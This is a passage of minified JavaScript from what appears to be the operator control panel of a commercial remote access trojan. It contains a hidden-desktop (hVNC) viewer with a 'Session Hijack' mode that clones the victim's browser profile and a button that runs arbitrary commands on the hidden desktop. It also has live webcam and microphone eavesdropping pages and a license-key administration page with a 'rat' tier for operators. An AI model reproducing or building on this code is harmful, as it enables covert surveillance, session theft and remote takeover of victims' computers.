Ne=re.keyCode||0;P.sendKey(Ae,Ne,0)},Q=re=>H(re,1),ce=re=>H(re,0);return window.addEventListener("keydown",Q,!0),window.addEventListener("keyup",ce,!0),()=>{window.removeEventListener("keydown",Q,!0),window.removeEventListener("keyup",ce,!0)}},[x,y,P]),p.useEffect(()=>{P.setViewOnly(y)},[y,P]);const M=p.useCallback(H=>{w(H),P.setQuality(H)},[P]),ee=p.useCallback(async()=>{try{const H=await navigator.clipboard.readText();H&&P.sendClipboard(H)}catch{}},[P]),W=p.useCallback(()=>{var H,Q;(Q=(H=o.current)==null?void 0:H.requestFullscreen)==null||Q.call(H)},[]),X=p.useCallback(async()=>{if(D(),e)try{r?await CE(e):await zE(e)}catch{}window.close()},[e,D,r]),ne=p.useCallback(async H=>{if(!(!e||!H.trim())){E(null);try{await PE(e,H.trim(),U),E(`Launched ${H.trim()}${U?" (hijack)":""}`),_(""),setTimeout(()=>E(null),3e3)}catch(Q){E(`Failed: ${Q instanceof Error?Q.message:"unknown"}`)}}},[e,U]);return s.jsxs("div",{ref:o,className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[s.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderBottom:"1px solid #1F1F23"},children:[s.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#0891B2",fontSize:"9px"},children:r?"HIDDEN DESKTOP":"LIVE DESKTOP"}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsxs("span",{style:{color:"#52525B"},children:[s.jsx("span",{style:{color:"#0891B2"},children:te.frameCount})," frames"]}),te.totalTiles>0&&s.jsxs(s.Fragment,{children:[s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsxs("span",{style:{color:"#52525B"},children:[s.jsx("span",{style:{color:"#0891B2"},children:te.dirtyTiles}),"/",te.totalTiles," tiles"]})]}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"}),s.jsx("div",{className:"flex-1"}),s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:m?"#06B6D4":"#27272A"},title:"Mouse"}),s.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:x?"#06B6D4":"#27272A"},title:"Keyboard"}),s.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:y?"#EF4444":"#27272A"},title:"View Only"})]})]}),T&&s.jsx("div",{className:"absolute bottom-12 left-1/2 -translate-x-1/2 z-40 px-4 py-2 font-mono animate-fade-in",style:{fontSize:"11px",background:"#111113",border:`1px solid ${T.startsWith("Failed")?"rgba(239,68,68,0.3)":"rgba(6, 182, 212, 0.25)"}`,color:T.startsWith("Failed")?"#EF4444":"#06B6D4"},children:T}),s.jsxs("div",{ref:l,className:"flex-1 flex items-center justify-center overflow-hidden relative",style:{background:"#09090B"},children:[G&&s.jsxs("div",{className:"relative",style:{width:$?$.width:void 0,height:$?$.height:void 0,display:R?"block":"none"},children:[s.jsx("canvas",{ref:i,style:{width:"100%",height:"100%",display:"block"}}),s.jsx("canvas",{ref:a,onMouseMove:Z,onMouseDown:le,onMouseUp:me,onWheel:ge,onContextMenu:H=>H.preventDefault(),style:{position:"absolute",top:0,left:0,width:"100%",height:"100%",cursor:m&&!y?"none":"default"}})]}),(!G||!R)&&s.jsx("div",{className:"absolute inset-0 flex flex-col items-center justify-center",children:s.jsxs("div",{className:"relative z-10 flex flex-col items-center gap-6",children:[s.jsx("div",{className:"w-10 h-10 border-2 rounded-full animate-spin",style:{borderColor:"rgba(6, 182, 212, 0.15)",borderTopColor:"#06B6D4"}}),s.jsxs("div",{className:"flex flex-col items-center gap-2",children:[s.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"13px",color:"#A1A1AA"},children:G?r?"Initializing hidden desktop...":"Waiting for frame...":"Connecting to agent..."}),s.jsx("div",{className:"flex items-center gap-1",children:[0,1,2].map(H=>s.jsx("div",{className:"w-1 h-1 rounded-full animate-pulse-dot",style:{background:"#06B6D4",animationDelay:`${H*.3}s`}},H))})]})]})})]}),s.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderTop:"1px solid #1F1F23"},children:[s.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(6, 182, 212, 0.08)",border:"1px solid rgba(6, 182, 212, 0.18)"},children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#06B6D4",boxShadow:"0 0 6px rgba(6, 182, 212, 0.6)"}}),s.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#06B6D4",fontSize:"10px"},children:r?"hVNC":"VNC"})]}),s.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:G?"#22C55E":"#EF4444",boxShadow:G?"0 0 6px rgba(34,197,94,0.5)":"none"}}),s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:G?"LIVE":"OFFLINE"})]}),s.jsx(Cs,{}),s.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),s.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#06B6D4"},children:te.fps})]}),s.jsx(Cs,{}),s.jsxs("div",{className:"flex items-center gap-2 px-2 py-1",children:[s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"Q"}),s.jsx("input",{type:"range",min:10,max:100,step:5,value:b,onChange:H=>M(Number(H.target.value)),className:"w-16 h-[3px] appearance-none rounded-full outline-none",style:{background:"#27272A",accentColor:"#06B6D4"}}),s.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#52525B"},children:b})]}),s.jsxs("div",{className:"flex items-center gap-2 px-2 py-1",children:[s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),s.jsx("input",{type:"range",min:5,max:60,step:5,value:j,onChange:H=>{const Q=Number(H.target.value);k(Q),P.sendControl(2,Q)},className:"w-14 h-[3px] appearance-none rounded-full outline-none",style:{background:"#27272A",accentColor:"#06B6D4"}}),s.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#52525B"},children:j})]}),s.jsx("div",{className:"flex items-center gap-1.5 px-2 py-1",children:s.jsxs("select",{value:S,onChange:H=>{const Q=Number(H.target.value);N(Q),P.sendControl(3,Q)},className:"font-mono bg-transparent border border-zinc-700 rounded px-1 py-0.5 outline-none",style:{fontSize:"10px",color:"#A1A1AA"},children:[s.jsx("option",{value:0,children:"Auto"}),s.jsx("option",{value:1,children:"DXGI"}),s.jsx("option",{value:2,children:"GDI"})]})}),s.jsx(Cs,{}),s.jsx(lp,{label:"MOUSE",active:m,onClick:()=>h(!m),icon:s.jsx(WU,{})}),s.jsx(lp,{label:"KEYS",active:x,onClick:()=>g(!x),icon:s.jsx(UU,{})}),s.jsx(lp,{label:"VIEW",active:y,onClick:()=>v(!y),icon:s.jsx(VU,{})}),s.jsx(Cs,{}),s.jsx(x2,{onClick:ee,title:"Sync clipboard",children:s.jsx(HU,{})}),s.jsx(x2,{onClick:W,title:"Fullscreen",children:s.jsx(KU,{})}),r&&s.jsxs(s.Fragment,{children:[s.jsx(Cs,{}),s.jsxs("button",{onClick:()=>K(H=>!H),className:"flex items-center gap-1.5 px-2 py-1 rounded transition-colors",title:U?"Session Hijack: ON — browsers clone victim profile":"Session Hijack: OFF — browsers use empty profile",style:{color:U?"#22D3EE":"#52525B",background:U?"rgba(6, 182, 212, 0.12)":"transparent",border:U?"1px solid rgba(6, 182, 212, 0.3)":"1px solid transparent"},children:[s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})}),s.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:"Hijack"})]}),BU.map(H=>s.jsxs("button",{onClick:()=>ne(H.cmd),className:"flex items-center gap-1.5 px-2 py-1 transition-colors",style:{color:"#A1A1AA"},title:`Launch ${H.label}`,onMouseEnter:Q=>{Q.currentTarget.style.color="#06B6D4",Q.currentTarget.style.background="rgba(6, 182, 212, 0.08)"},onMouseLeave:Q=>{Q.currentTarget.style.color="#A1A1AA",Q.currentTarget.style.background="transparent"},children:[H.icon,s.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:H.label})]},H.cmd)),s.jsxs("button",{onClick:()=>{const H=prompt("Command to launch on hidden desktop:");H&&ne(H)},className:"flex items-center gap-1 px-2 py-1 transition-colors",style:{color:"#52525B"},title:"Run custom command",onMouseEnter:H=>{H.currentTarget.style.color="#A1A1AA",H.currentTarget.style.background="rgba(6, 182, 212, 0.06)"},onMouseLeave:H=>{H.currentTarget.style.color="#52525B",H.currentTarget.style.background="transparent"},children:[s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6.75 7.5l3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0021 18V6a2.25 2.25 0 00-2.25-2.25H5.25A2.25 2.25 0 003 6v12a2.25 2.25 0 002.25 2.25z"})}),s.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:"Run"})]})]}),s.jsx("div",{className:"flex-1"}),s.jsx("span",{className:"font-mono tabular-nums mr-2",style:{fontSize:"10px",color:"#52525B"},children:z.w>0?`${z.w}×${z.h}`:"—"}),s.jsxs("button",{onClick:X,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors group",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 0.15)"},onMouseEnter:H=>{H.currentTarget.style.background="rgba(239, 68, 68, 0.12)",H.currentTarget.style.borderColor="rgba(239, 68, 68, 0.3)"},onMouseLeave:H=>{H.currentTarget.style.background="rgba(239, 68, 68, 0.06)",H.currentTarget.style.borderColor="rgba(239, 68, 68, 0.15)"},children:[s.jsx("svg",{className:"w-3 h-3 group-hover:rotate-90 transition-transform",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]})]})}function Cs(){return s.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}})}function lp({label:e,active:t,onClick:n,icon:r}){return s.jsxs("button",{onClick:n,className:"flex items-center gap-1.5 px-2 py-1 font-mono tracking-wide transition-colors",style:{fontSize:"10px",color:t?"#06B6D4":"#52525B",background:t?"rgba(6, 182, 212, 0.08)":"transparent",border:`1px solid ${t?"rgba(6, 182, 212, 0.18)":"transparent"}`},title:e,children:[r,e]})}function x2({onClick:e,title:t,children:n}){return s.jsx("button",{onClick:e,className:"flex items-center gap-1 px-2 py-1 transition-colors",style:{color:"#52525B"},title:t,onMouseEnter:r=>{r.currentTarget.style.color="#A1A1AA"},onMouseLeave:r=>{r.currentTarget.style.color="#52525B"},children:n})}function WU(){return s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.042 21.672L13.684 16.6m0 0l-2.51 2.225.569-9.47 5.227 7.917-3.286-.672zM12 2.25V4.5m5.834.166l-1.591 1.591M20.25 10.5H18M7.757 14.743l-1.59 1.59M6 10.5H3.75m4.007-4.243l-1.59-1.59"})})}function UU(){return s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 9h16.5m-16.5 6.75h16.5"})})}function VU(){return s.jsxs("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.036 12.322a1.012 1.012 0 010-.639C3.423 7.51 7.36 4.5 12 4.5c4.638 0 8.573 3.007 9.963 7.178.07.207.07.431 0 .639C20.577 16.49 16.64 19.5 12 19.5c-4.638 0-8.573-3.007-9.963-7.178z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"})]})}function HU(){return s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.666 3.888A2.25 2.25 0 0013.5 2.25h-3c-1.03 0-1.9.693-2.166 1.638m7.332 0c.055.194.084.4.084.612v0a.75.75 0 01-.75.75H9.75a.75.75 0 01-.75-.75v0c0-.212.03-.418.084-.612m7.332 0c.646.049 1.288.11 1.927.184 1.1.128 1.907 1.077 1.907 2.185V19.5a2.25 2.25 0 01-2.25 2.25H6.75A2.25 2.25 0 014.5 19.5V6.257c0-1.108.806-2.057 1.907-2.185a48.208 48.208 0 011.927-.184"})})}function KU(){return s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 3.75v4.5m0-4.5h4.5m-4.5 0L9 9M3.75 20.25v-4.5m0 4.5h4.5m-4.5 0L9 15M20.25 3.75h-4.5m4.5 0v4.5m0-4.5L15 9m5.25 11.25h-4.5m4.5 0v-4.5m0 4.5L15 15"})})}function qU(){const{id:e}=Mo(),t=p.useRef(null),n=p.useRef(null),r=p.useRef(null),[i,a]=p.useState(!1),o=p.useRef(!1),[l,c]=p.useState({w:0,h:0}),u=p.useCallback((g,y,v)=>{o.current||(o.current=!0,a(!0)),c({w:y,h:v});const b=t.current;if(!b)return;const w=b.getContext("2d");if(w)if((b.width!==y||b.height!==v)&&(b.width=y,b.height=v),typeof g=="string"){const j=n.current||new Image;n.current=j,j.onload=()=>{w.drawImage(j,0,0)},j.src=g}else g instanceof ImageBitmap?(w.drawImage(g,0,0),g.close()):w.drawImage(g,0,0)},[]),{isConnected:d,stats:f,connect:m,disconnect:h}=J0({agentId:e||"",mode:"webcam",onFrame:u});p.useEffect(()=>{e&&m()},[e,m]),p.useEffect(()=>()=>{r.current&&URL.revokeObjectURL(r.current)},[]);const x=p.useCallback(async()=>{if(h(),e)try{await EE(e)}catch{}window.close()},[e,h]);return s.jsxs("div",{className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[s.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderBottom:"1px solid #1F1F23"},children:[s.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(34, 197, 94, 0.08)",border:"1px solid rgba(34, 197, 94, 0.18)"},children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#22C55E",boxShadow:"0 0 6px rgba(34, 197, 94, 0.6)"}}),s.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#22C55E",fontSize:"10px"},children:"WEBCAM"})]}),s.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:d?"#22C55E":"#EF4444",boxShadow:d?"0 0 6px rgba(34,197,94,0.5)":"none"}}),s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:d?"LIVE":"OFFLINE"})]}),s.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}}),s.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),s.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#22C55E"},children:f.fps})]}),s.jsx("div",{className:"flex-1"}),s.jsx("span",{className:"font-mono tabular-nums mr-2",style:{fontSize:"10px",color:"#52525B"},children:l.w>0?`${l.w}×${l.h}`:"—"}),s.jsxs("button",{onClick:x,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 0.15)"},onMouseEnter:g=>{g.currentTarget.style.background="rgba(239, 68, 68, 0.12)"},onMouseLeave:g=>{g.currentTarget.style.background="rgba(239, 68, 68, 0.06)"},children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]}),s.jsxs("div",{className:"flex-1 flex items-center justify-center overflow-hidden",style:{background:"#09090B"},children:[d&&i&&s.jsx("canvas",{ref:t,style:{maxWidth:"100%",maxHeight:"100%",objectFit:"contain"}}),(!d||!i)&&s.jsxs("div",{className:"flex flex-col items-center gap-6",children:[s.jsx("div",{className:"w-10 h-10 border-2 rounded-full animate-spin",style:{borderColor:"rgba(34, 197, 94, 0.15)",borderTopColor:"#22C55E"}}),s.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"13px",color:"#A1A1AA"},children:d?"Waiting for webcam feed...":"Connecting to agent..."})]})]}),s.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderTop:"1px solid #1F1F23"},children:[s.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#16A34A",fontSize:"9px"},children:"WEBCAM FEED"}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsxs("span",{style:{color:"#52525B"},children:[s.jsx("span",{style:{color:"#22C55E"},children:f.frameCount})," frames"]}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"})]})]})}function YU({agentId:e,onDisconnect:t}){const n=p.useRef(null),r=p.useRef(null),i=p.useRef(0),[a,o]=p.useState(!1),[l,c]=p.useState(!1),u=p.useRef(!1),[d,f]=p.useState({chunkCount:0,sampleRate:0}),m=p.useCallback(()=>{if(n.current)return;const g=Ze();if(!g)return;const v=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/mic/${e}/ws?token=${encodeURIComponent(g)}`,b=new WebSocket(v);b.binaryType="arraybuffer",n.current=b,b.onopen=()=>{o(!0),r.current||(r.current=new AudioContext({sampleRate:16e3})),i.current=0},b.onmessage=w=>{if(!(w.data instanceof ArrayBuffer))return;const j=new DataView(w.data);if(w.data.byteLength<12)return;const k=j.getUint16(0,!0),S=j.getUint8(2),N=j.getUint8(3),z=12,O=w.data.byteLength-z;if(f(I=>({chunkCount:I.chunkCount+1,sampleRate:k})),u.current)return;const _=r.current;if(!_||_.state==="closed")return;_.state==="suspended"&&_.resume();const T=O/(S/8)/N,E=_.createBuffer(N,T,k),U=new DataView(w.data,z);for(let I=0;I{o(!1),n.current=null,t==null||t()},b.onerror=()=>{b.close()}},[e,t]),h=p.useCallback(()=>{n.current&&(n.current.close(),n.current=null),o(!1)},[]),x=p.useCallback(()=>{c(g=>(u.current=!g,!g))},[]);return p.useEffect(()=>()=>{n.current&&(n.current.close(),n.current=null),r.current&&r.current.state!=="closed"&&r.current.close()},[]),{isConnected:a,isMuted:l,stats:d,connect:m,disconnect:h,toggleMute:x}}function GU(){const{id:e}=Mo(),{isConnected:t,isMuted:n,stats:r,connect:i,disconnect:a,toggleMute:o}=YU({agentId:e||""});p.useEffect(()=>{e&&i()},[e,i]);const l=p.useCallback(async()=>{if(a(),e)try{await AE(e)}catch{}window.close()},[e,a]);return s.jsxs("div",{className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[s.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderBottom:"1px solid #1F1F23"},children:[s.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(168, 85, 247, 0.08)",border:"1px solid rgba(168, 85, 247, 0.18)"},children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#A855F7",boxShadow:"0 0 6px rgba(168, 85, 247, 0.6)"}}),s.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#A855F7",fontSize:"10px"},children:"MICROPHONE"})]}),s.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:t?"#22C55E":"#EF4444",boxShadow:t?"0 0 6px rgba(34,197,94,0.5)":"none"}}),s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:t?"LIVE":"OFFLINE"})]}),s.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}}),s.jsxs("button",{onClick:o,className:"flex items-center gap-1.5 px-2 py-1 font-mono tracking-wide transition-colors",style:{fontSize:"10px",color:n?"#EF4444":"#A855F7",background:n?"rgba(239, 68, 68, 0.08)":"rgba(168, 85, 247, 0.08)",border:`1px solid ${n?"rgba(239, 68, 68, 0.18)":"rgba(168, 85, 247, 0.18)"}`},children:[n?s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M17.25 9.75L19.5 12m0 0l2.25 2.25M19.5 12l2.25-2.25M19.5 12l-2.25 2.25m-10.5-6l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.114 5.636a9 9 0 010 12.728M16.463 8.288a5.25 5.25 0 010 7.424M6.75 8.25l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})}),n?"MUTED":"AUDIO"]}),s.jsx("div",{className:"flex-1"}),s.jsxs("button",{onClick:l,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 0.15)"},onMouseEnter:c=>{c.currentTarget.style.background="rgba(239, 68, 68, 0.12)"},onMouseLeave:c=>{c.currentTarget.style.background="rgba(239, 68, 68, 0.06)"},children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]}),s.jsx("div",{className:"flex-1 flex items-center justify-center",style:{background:"#09090B"},children:s.jsxs("div",{className:"flex flex-col items-center gap-8",children:[s.jsxs("div",{className:"relative",children:[s.jsx("div",{className:"w-24 h-24 rounded-full flex items-center justify-center",style:{background:t?"rgba(168, 85, 247, 0.08)":"rgba(63, 63, 70, 0.2)",border:`2px solid ${t?"rgba(168, 85, 247, 0.25)":"rgba(63, 63, 70, 0.3)"}`},children:s.jsx("svg",{className:"w-10 h-10",fill:"none",viewBox:"0 0 24 24",stroke:t?"#A855F7":"#52525B",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18.75a6 6 0 006-6v-1.5m-6 7.5a6 6 0 01-6-6v-1.5m6 7.5v3.75m-3.75 0h7.5M12 15.75a3 3 0 01-3-3V4.5a3 3 0 116 0v8.25a3 3 0 01-3 3z"})})}),t&&!n&&s.jsx(s.Fragment,{children:s.jsx("div",{className:"absolute inset-0 rounded-full animate-ping",style:{background:"rgba(168, 85, 247, 0.1)",animationDuration:"2s"}})})]}),s.jsxs("div",{className:"flex flex-col items-center gap-2",children:[s.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"14px",color:"#A1A1AA"},children:t?n?"Audio Muted":"Listening...":"Connecting..."}),t&&s.jsxs("span",{className:"font-mono",style:{fontSize:"11px",color:"#52525B"},children:[r.sampleRate>0?`${r.sampleRate} Hz`:""," ",r.chunkCount>0?`• ${r.chunkCount} chunks`:""]})]})]})}),s.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderTop:"1px solid #1F1F23"},children:[s.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#9333EA",fontSize:"9px"},children:"LIVE AUDIO"}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsxs("span",{style:{color:"#52525B"},children:[s.jsx("span",{style:{color:"#A855F7"},children:r.chunkCount})," chunks"]}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsx("span",{style:{color:"#52525B"},children:r.sampleRate>0?`${r.sampleRate} Hz`:"—"}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"})]})]})}const XU=4294967295;function ZU(e){return e>=XU-86400}function cp(e){return ZU(e)?"Never":new Date(e*1e3).toLocaleString()}function v2({status:e}){const t={active:"bg-emerald-500/10 text-emerald-400 border-emerald-500/20",unused:"bg-blue-500/10 text-blue-400 border-blue-500/20",expired:"bg-zinc-500/10 text-zinc-400 border-zinc-500/20",revoked:"bg-red-500/10 text-red-400 border-red-500/20"};return s.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${t[e]||t.expired}`,children:e})}function QU({role:e}){const t=e==="admin";return s.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${t?"bg-amber-500/10 text-amber-400 border-amber-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:e})}function JU(){const[e,t]=p.useState("keys"),[n,r]=p.useState([]),[i,a]=p.useState([]),[o,l]=p.useState(!0),[c,u]=p.useState(""),[d,f]=p.useState(!1),[m,h]=p.useState("7d"),[x,g]=p.useState("0"),[y,v]=p.useState("rat"),[b,w]=p.useState(!1),[j,k]=p.useState(""),[S,N]=p.useState(!1),[z,O]=p.useState(null),[_,T]=p.useState(null),[E,U]=p.useState("30d"),[K,R]=p.useState(!1),[I,F]=p.useState(null),[B,V]=p.useState("rat"),[$,q]=p.useState(!1),Y=p.useCallback(async()=>{try{const P=await ME();r(P)}catch(P){u(P instanceof Error?P.message:"Failed to fetch keys")}},[]),ie=p.useCallback(async()=>{try{const P=await DE();a(P)}catch(P){u(P instanceof Error?P.message:"Failed to fetch operators")}},[]);p.useEffect(()=>{l(!0),Promise.all([Y(),ie()]).finally(()=>l(!1))},[Y,ie]);const ae=async P=>{P.preventDefault(),w(!0),u("");try{const C=await LE({duration:m,max_agents:parseInt(x)||0,tier:y});k(C.key),N(!1),await Y()}catch(C){u(C instanceof Error?C.message:"Failed to generate key")}finally{w(!1)}},fe=async P=>{u("");try{await IE(P),O(null),await Y()}catch(C){u(C instanceof Error?C.message:"Failed to revoke key")}},de=async()=>{if(_){R(!0),u("");try{await RE(_.id,E),T(null),await ie()}catch(P){u(P instanceof Error?P.message:"Failed to extend license")}finally{R(!1)}}},G=async()=>{if(I){q(!0),u("");try{await $E(I.id,B),F(null),await ie()}catch(P){u(P instanceof Error?P.message:"Failed to set tier")}finally{q(!1)}}},te=()=>{navigator.clipboard.writeText(j),N(!0),setTimeout(()=>N(!1),2e3)};return s.jsxs("div",{className:"p-6 space-y-6",children:[s.jsx("div",{className:"flex items-center justify-between",children:s.jsxs("div",{children:[s.jsx("h1",{className:"text-xl font-display font-bold text-zerin-text",children:"Administration"}),s.jsx("p",{className:"text-sm text-zerin-text-muted mt-1",children:"Manage license keys and operators"})]})}),s.jsxs("div",{className:"flex gap-1 border-b border-zerin-panel-border",children:[s.jsx("button",{onClick:()=>t("keys"),className:`px-4 py-2.5 text-sm font-medium transition-colors ${e==="keys"?"text-zerin-accent border-b-2 border-zerin-accent":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"License Keys"}),s.jsx("button",{onClick:()=>t("operators"),className:`px-4 py-2.5 text-sm font-medium transition-colors ${e==="operators"?"text-zerin-accent border-b-2 border-zerin-accent":"text-zerin-text-muted 